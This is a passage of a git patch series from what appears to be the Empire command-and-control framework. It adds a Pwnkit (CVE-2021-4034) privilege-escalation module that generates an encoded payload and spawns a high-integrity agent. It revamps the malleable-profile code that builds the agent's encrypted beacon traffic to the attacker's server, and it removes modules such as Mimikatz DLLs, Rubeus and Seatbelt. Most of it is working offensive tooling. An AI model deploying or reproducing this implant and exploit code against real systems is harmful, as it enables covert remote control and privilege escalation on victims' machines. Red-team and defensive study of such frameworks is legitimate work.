CMD='{launcher}' -f elf-so PrependSetuid=true | base64" + output = subprocess.check_output(command, shell=True) + output = output.replace(b"\n", b"") + script = script.replace("{{ payload }}", output.decode("UTF-8")) + + return script diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml new file mode 100644 index 000000000..e690ab39c --- /dev/null +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml @@ -0,0 +1,37 @@ +name: Pwnkit (CVE-2021-4034) +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/@Cx01N_ +description: PwnKit - Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034). Warning - It will kill off your existing agent and spawn a new one in a high integrity process. +software: '' +tactics: [] +techniques: + - T1050 +background: false +output_extension: '' +needs_admin: false +opsec_safe: true +language: python +min_language_version: '3' +comments: [] +options: + - name: Agent + description: Agent to execute module on. + required: true + value: '' + - name: Listener + description: Listener to use. + required: true + value: '' + - name: SafeChecks + description: Enable SafeChecks. + required: true + value: 'True' + - name: UserAgent + description: User-agent string to use for the staging request (default, none, or other). + required: false + value: default +script_path: python/privesc/CVE-2021-4034.py +advanced: + custom_generate: true From 3f5f15c8f5049728fc9fb9694fed15a5846e93d9 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Sat, 17 Jun 2023 10:03:20 -0700 Subject: [PATCH 09/36] fix order of operations for changelog update --- .github/workflows/release-sponsor-kali-start.yml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/release-sponsor-kali-start.yml b/.github/workflows/release-sponsor-kali-start.yml index d24afa9cc..9e7f3c72f 100644 --- a/.github/workflows/release-sponsor-kali-start.yml +++ b/.github/workflows/release-sponsor-kali-start.yml @@ -31,6 +31,12 @@ jobs: run: | # Get the version from pyproject.toml using sed echo "APP_VERSION=$(sed -n 's/^version = "\(.*\)"/\1/p' pyproject.toml)" >> $GITHUB_ENV + - name: Update Sponsors Changelog + uses: vinnybod/keep-a-changelog-new-release@1.4.0 + with: + tag: v${{ env.APP_VERSION }} + changelogPath: CHANGELOG-SPONSORS.md + skipDiff: false - name: Update Starkiller Version if: ${{ github.event.inputs.starkillerVersion }} uses: ./.github/actions/update-starkiller @@ -38,12 +44,6 @@ jobs: starkiller-version: ${{ env.STARKILLER_TAG }} app-version: ${{ env.APP_VERSION }} changelog-path: CHANGELOG-SPONSORS.md - - name: Update Sponsors Changelog - uses: vinnybod/keep-a-changelog-new-release@1.4.0 - with: - tag: v${{ env.APP_VERSION }} - changelogPath: CHANGELOG-SPONSORS.md - skipDiff: false - name: Commit changelog and manifest files id: make-commit run: | From 466de2fcf4c56b8ed00ef8dea5ce354a415fb5f0 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 17 Jun 2023 15:54:27 -0400 Subject: [PATCH 10/36] Revamped malleable profiles and increased their generation reliability (#633) * fixed callback issue on malleable listener * updated profile submodule * formatting * removed import re * fixed python callback error * add a check for duplicate entries before writing checkin * fix error in db query, update test assertions to be more explicit * reverted exception statement removal * fixed byete encoding error * fixed netbios error for python * formatting --------- Co-authored-by: Vince Rose --- CHANGELOG.md | 1 + .../server/common/malleable/transformation.py | 51 ++++++++++++------- empire/server/common/stagers.py | 7 ++- empire/server/core/db/models.py | 2 +- empire/server/data/agent/agent.py | 2 +- empire/server/data/profiles | 2 +- empire/server/listeners/http_malleable.py | 20 ++++---- .../{windows => multi}/generate_agent.py | 0 8 files changed, 54 insertions(+), 31 deletions(-) rename empire/server/stagers/{windows => multi}/generate_agent.py (100%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 657c1817e..ebe770ff1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added python module for Pwnkit (CVE-2021-4034) (@Cx01N) - Added python module for Polkit (CVE-2021-3560) (@Cx01N) - Fixed safecheck error for python module sudo spawn (@Cx01N) +- Revamped malleable profiles and increased their generation reliability (@Cx01N) ## [5.4.2] - 2023-06-07 diff --git a/empire/server/common/malleable/transformation.py b/empire/server/common/malleable/transformation.py index ea5e0b293..5217a679d 100644 --- a/empire/server/common/malleable/transformation.py +++ b/empire/server/common/malleable/transformation.py @@ -217,7 +217,10 @@ def _append(self, string): def append_transform(string, data): if isinstance(string, str): - string = string.encode("latin-1") + try: + string = string.encode("latin-1") + except UnicodeEncodeError: + string = string.encode("utf-8") if isinstance(data, str): data = data.encode("latin-1") r = data + string @@ -225,7 +228,10 @@ def append_transform(string, data): def append_transform_r(string, data): if isinstance(string, str): - string = string.encode("latin-1") + try: + string = string.encode("latin-1") + except UnicodeEncodeError: + string = string.encode("utf-8") if isinstance(data, str): data = data.encode("latin-1") return data[: -len(string)] @@ -288,11 +294,11 @@ def base64url_transform_r(data): return r self.generate_python = ( - lambda var: "%(var)s=urllib.quote(base64.b64encode(%(var)s))\n" + lambda var: "%(var)s=urllib.parse.quote(base64.b64encode(%(var)s)).encode('UTF-8')\n" % {"var": var} ) self.generate_python_r = ( - lambda var: "%(var)s=base64.b64decode(urllib.unquote(%(var)s))\n" + lambda var: "%(var)s=base64.b64decode(urllib.parse.unquote(%(var)s))\n" % {"var": var} ) self.generate_powershell = ( @@ -332,7 +338,7 @@ def mask_transform(data, key): self.transform_r = self.transform self.generate_python = ( - lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(f_ord(_)^%(key)s) for _ in %(var)s])\n" + lambda var: "f_ord=int;%(var)s=''.join([chr(f_ord(_)^%(key)s) for _ in %(var)s])\n" % {"key": ord(key[0]), "var": var} ) self.generate_python_r = self.generate_python @@ -348,11 +354,11 @@ def _netbios(self): self.transform = lambda data: netbios_transform(data) self.transform_r = lambda data: netbios_transform_r(data) self.generate_python = ( - lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x61)+chr((f_ord(_)&0xF)+0x61) for _ in %(var)s])\n" + lambda var: "%(var)s = ''.join([chr((c >> 4) + 0x61)+chr((c & 0xF) + 0x61) for c in %(var)s])\n" % {"var": var} ) self.generate_python_r = ( - lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x61)<<4)|((f_ord(%(var)s[_+1])-0x61)&0xF)) for _ in range(0,len(%(var)s),2)])\n" + lambda var: "%(var)s = ''.join([chr(((%(var)s[c] - 0x61) << 4) | ((%(var)s[c+1] - 0x61 ) & 0xF)) for c in range(0, len(%(var)s), 2)])\n" % {"var": var} ) self.generate_powershell = lambda var: netbios_powershell(var) @@ -367,13 +373,16 @@ def netbios_transform(data): def netbios_transform_r(data): if isinstance(data, str): data = data.encode("latin-1") - r = "".join( - [ - chr(((data[i] - 0x61) << 4) | ((data[i + 1] - 0x61) & 0xF)) - for i in range(0, len(data), 2) - ] - ) - return r.encode("latin-1") + try: + r = "".join( + [ + chr(((data[i] - 0x61) << 4) | ((data[i + 1] - 0x61) & 0xF)) + for i in range(0, len(data), 2) + ] + ) + return r.encode("latin-1") + except ValueError: + return b"" def netbios_powershell(var): return ( @@ -393,11 +402,11 @@ def _netbiosu(self): self.transform = lambda data: netbiosu_transform(data) self.transform_r = lambda data: netbiosu_transform_r(data) self.generate_python = ( - lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr((f_ord(_)>>4)+0x41)+chr((f_ord(_)&0xF)+0x41) for _ in %(var)s])\n" + lambda var: "f_ord=int;%(var)s=''.join([chr((f_ord(_)>>4)+0x41)+chr((f_ord(_)&0xF)+0x41) for _ in %(var)s])\n" % {"var": var} ) self.generate_python_r = ( - lambda var: "f_ord=ord if __import__('sys').version_info[0]<3 else int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x41)<<4)|((f_ord(%(var)s[_+1])-0x41)&0xF)) for _ in range(0,len(%(var)s),2)])\n" + lambda var: "f_ord=int;%(var)s=''.join([chr(((f_ord(%(var)s[_])-0x41)<<4)|((f_ord(%(var)s[_+1])-0x41)&0xF)) for _ in range(0,len(%(var)s),2)])\n" % {"var": var} ) self.generate_powershell = lambda var: netbiosu_powershell(var) @@ -451,7 +460,10 @@ def _prepend(self, string): def prepend_transform(string, data): if isinstance(string, str): - string = string.encode("latin-1") + try: + string = string.encode("latin-1") + except UnicodeError: + string = string.encode("utf-8") if isinstance(data, str): data = data.encode("latin-1") r = string + data @@ -459,7 +471,10 @@ def prepend_transform(string, data): def prepend_transform_r(string, data): if isinstance(string, str): - string = string.encode("latin-1") + try: + string = string.encode("latin-1") + except UnicodeError: + string = string.encode("utf-8") if isinstance(data, str): data = data.encode("latin-1") return data[len(string) :] diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index c2890b3b2..5985787dc 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -803,5 +803,10 @@ def generate_stageless(self, options): stager_code = stager_code + f"\nkey = b'{session_key}'" launch_code = "" - full_agent = "\n".join([stager_code, agent_code, launch_code]) + if active_listener.info["Name"] == "HTTP[S] MALLEABLE": + full_agent = "\n".join( + [stager_code, agent_code, comms_code, launch_code] + ) + else: + full_agent = "\n".join([stager_code, agent_code, launch_code]) return full_agent diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index 235d3552a..98d5f5531 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -176,7 +176,7 @@ class Agent(Base): parent = Column(String(255)) children = Column(String(255)) servers = Column(String(255)) - profile = Column(String(255)) + profile = Column(Text) functions = Column(String(255)) kill_date = Column(String(255)) working_hours = Column(String(255)) diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index c35253887..4983ddd0d 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -1289,4 +1289,4 @@ def sleep_time(jitter): # print "invalid code:",code except Exception as e: - print("main() exception: %s" % (e)) + print("main() exception: %s" % (e)) \ No newline at end of file diff --git a/empire/server/data/profiles b/empire/server/data/profiles index 06ebff5aa..70becbd07 160000 --- a/empire/server/data/profiles +++ b/empire/server/data/profiles @@ -1 +1 @@ -Subproject commit 06ebff5aab2f6cff5f112d429f928b93e8a24732 +Subproject commit 70becbd070547cb0057db37b4a3af90ef895d795 diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 5db127598..bcd242486 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -910,7 +910,7 @@ def generate_comms(self, listenerOptions, language=None): ): getTask += "$taskURI += '" + ("?" if first else "&") + "';" first = False - getTask += f"$taskURI += '{ profile.get.client.metadata.terminator.name }=' + $RoutingPacket;" + getTask += f"$taskURI += '{ profile.get.client.metadata.terminator.arg }=' + $RoutingPacket;" if ( profile.get.client.metadata.terminator.type @@ -1104,8 +1104,10 @@ def generate_comms(self, listenerOptions, language=None): sendMessage += " if packets:\n" # ==== BUILD ROUTING PACKET ==== - sendMessage += " encData = aes_encrypt_then_hmac(key, packets)\n" - sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)\n" + sendMessage += ( + " encData = aes_encrypt_then_hmac(key, packets);\n" + ) + sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData);\n" sendMessage += ( "\n".join( [ @@ -1139,7 +1141,7 @@ def generate_comms(self, listenerOptions, language=None): sendMessage += ( " parameters['" + profile.post.client.output.terminator.arg - + "'] = routingPacket\n" + + "'] = routingPacket;\n" ) sendMessage += " if parameters:\n" sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" @@ -1183,7 +1185,7 @@ def generate_comms(self, listenerOptions, language=None): sendMessage += " else:\n" # ==== BUILD ROUTING PACKET - sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)\n" + sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4);\n" sendMessage += ( "\n".join( [ @@ -1202,7 +1204,7 @@ def generate_comms(self, listenerOptions, language=None): + str(profile.get.client.uris) + ", 1)[0]\n" ) - sendMessage += " requestUri = server + taskUri\n" + sendMessage += " requestUri = server + taskUri;\n" # ==== ADD PARAMETERS ==== sendMessage += " parameters = {}\n" @@ -1226,7 +1228,7 @@ def generate_comms(self, listenerOptions, language=None): profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND ): - sendMessage += " requestUri += routingPacket\n" + sendMessage += " requestUri += routingPacket;\n" # ==== ADD BODY ==== if ( @@ -1259,7 +1261,7 @@ def generate_comms(self, listenerOptions, language=None): # ==== SEND REQUEST ==== sendMessage += " try:\n" - sendMessage += " res = urllib.request.urlopen(req)\n" + sendMessage += " res = urllib.request.urlopen(req);\n" # ==== EXTRACT RESPONSE ==== if ( @@ -1295,7 +1297,7 @@ def generate_comms(self, listenerOptions, language=None): ) # before return we encode to bytes, since in some transformations "join" produces str sendMessage += ( - " if isinstance(data,str): data = data.encode('latin-1')\n" + " if isinstance(data,str): data = data.encode('latin-1');\n" ) sendMessage += " return ('200', data)\n" diff --git a/empire/server/stagers/windows/generate_agent.py b/empire/server/stagers/multi/generate_agent.py similarity index 100% rename from empire/server/stagers/windows/generate_agent.py rename to empire/server/stagers/multi/generate_agent.py From f16c9771b676afd48f64a3e545a59d6e68cac701 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 17 Jun 2023 23:29:19 -0400 Subject: [PATCH 11/36] Cleaned up and removed duplicate modules (#636) * removed duplicate modules * updated shortcuts in client * removed powerkatz dlls * updated changelog * fixed invoke-shellcode and updated tests * Update CHANGELOG.md Co-authored-by: Vincent Rose --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 10 + empire/client/config.yaml | 12 +- .../SharpSploit.Resources.powerkatz_x64.dll | Bin 1463296 -> 0 bytes .../SharpSploit.Resources.powerkatz_x86.dll | Bin 1221632 -> 0 bytes .../modules/csharp/DotNetCore.Covenant.yaml | 1591 ----------------- .../SharpSploit.LateralMovement.Covenant.yaml | 760 -------- .../Sharpsploit.Credentials.Covenant.yaml | 747 +------- .../code_execution/invoke_assembly.py | 79 - .../code_execution/invoke_assembly.yaml | 37 - .../powershell/code_execution/invoke_bof.py | 45 - .../powershell/code_execution/invoke_bof.yaml | 50 - .../code_execution/invoke_shellcode.py | 9 +- .../code_execution/invoke_shellcode.yaml | 1 + .../powershell/credentials/rubeus.yaml | 42 - .../situational_awareness/host/seatbelt.py | 56 - .../situational_awareness/host/seatbelt.yaml | 158 -- .../network/bloodhound.yaml | 92 - empire/test/test_agent_task_api.py | 10 +- empire/test/test_module_api.py | 2 +- 19 files changed, 24 insertions(+), 3677 deletions(-) delete mode 100644 empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll delete mode 100644 empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll delete mode 100755 empire/server/modules/csharp/DotNetCore.Covenant.yaml delete mode 100755 empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml delete mode 100644 empire/server/modules/powershell/code_execution/invoke_assembly.py delete mode 100644 empire/server/modules/powershell/code_execution/invoke_assembly.yaml delete mode 100644 empire/server/modules/powershell/code_execution/invoke_bof.py delete mode 100644 empire/server/modules/powershell/code_execution/invoke_bof.yaml delete mode 100644 empire/server/modules/powershell/credentials/rubeus.yaml delete mode 100644 empire/server/modules/powershell/situational_awareness/host/seatbelt.py delete mode 100644 empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml delete mode 100644 empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml diff --git a/CHANGELOG.md b/CHANGELOG.md index ebe770ff1..7e61ae792 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Added python module for Pwnkit (CVE-2021-4034) (@Cx01N) - Added python module for Polkit (CVE-2021-3560) (@Cx01N) - Fixed safecheck error for python module sudo spawn (@Cx01N) +- Fixed file error in Invoke-Shellcode (@Cx01N) +- Removed duplicate modules between languages (@Cx01N) + - Removed .NET Core modules due to errors + - Removed redundant C# lateral movement modules + - Removed Covenant Mimikatz in favor of Invoke-Mimikatz + - Removed Invoke-Assembly in favor of Covenant's execute assembly + - Removed Invoke-BOF in favor of RunOF + - Removed Invoke-Rubeus in favor of Covenant's Rubeus + - Removed Invoke-Seatbelt in favor of Covenant's Seatbelt + - Removed Bloodhound v1 module - Revamped malleable profiles and increased their generation reliability (@Cx01N) diff --git a/empire/client/config.yaml b/empire/client/config.yaml index b340ee598..178c685d2 100644 --- a/empire/client/config.yaml +++ b/empire/client/config.yaml @@ -97,11 +97,11 @@ shortcuts: - name: File dynamic: true assembly: - module: powershell_code_execution_invoke_assembly + module: csharp_assembly.Assembly params: - name: File dynamic: true - - name: Arguments + - name: Parameters value: '' python: whoami: @@ -181,11 +181,11 @@ shortcuts: - name: File dynamic: true assembly: - module: powershell_code_execution_invoke_assembly + module: csharp_assembly.Assembly params: - name: File dynamic: true - - name: Arguments + - name: Parameters value: '' csharp: whoami: @@ -250,11 +250,11 @@ shortcuts: - name: File dynamic: true assembly: - module: powershell_code_execution_invoke_assembly + module: csharp_assembly.Assembly params: - name: File dynamic: true - - name: Arguments + - name: Parameters value: '' directories: downloads: empire/client/downloads/ diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x64.dll deleted file mode 100644 index 686454f649ba8365dd451883afd119520f0296fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1463296 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 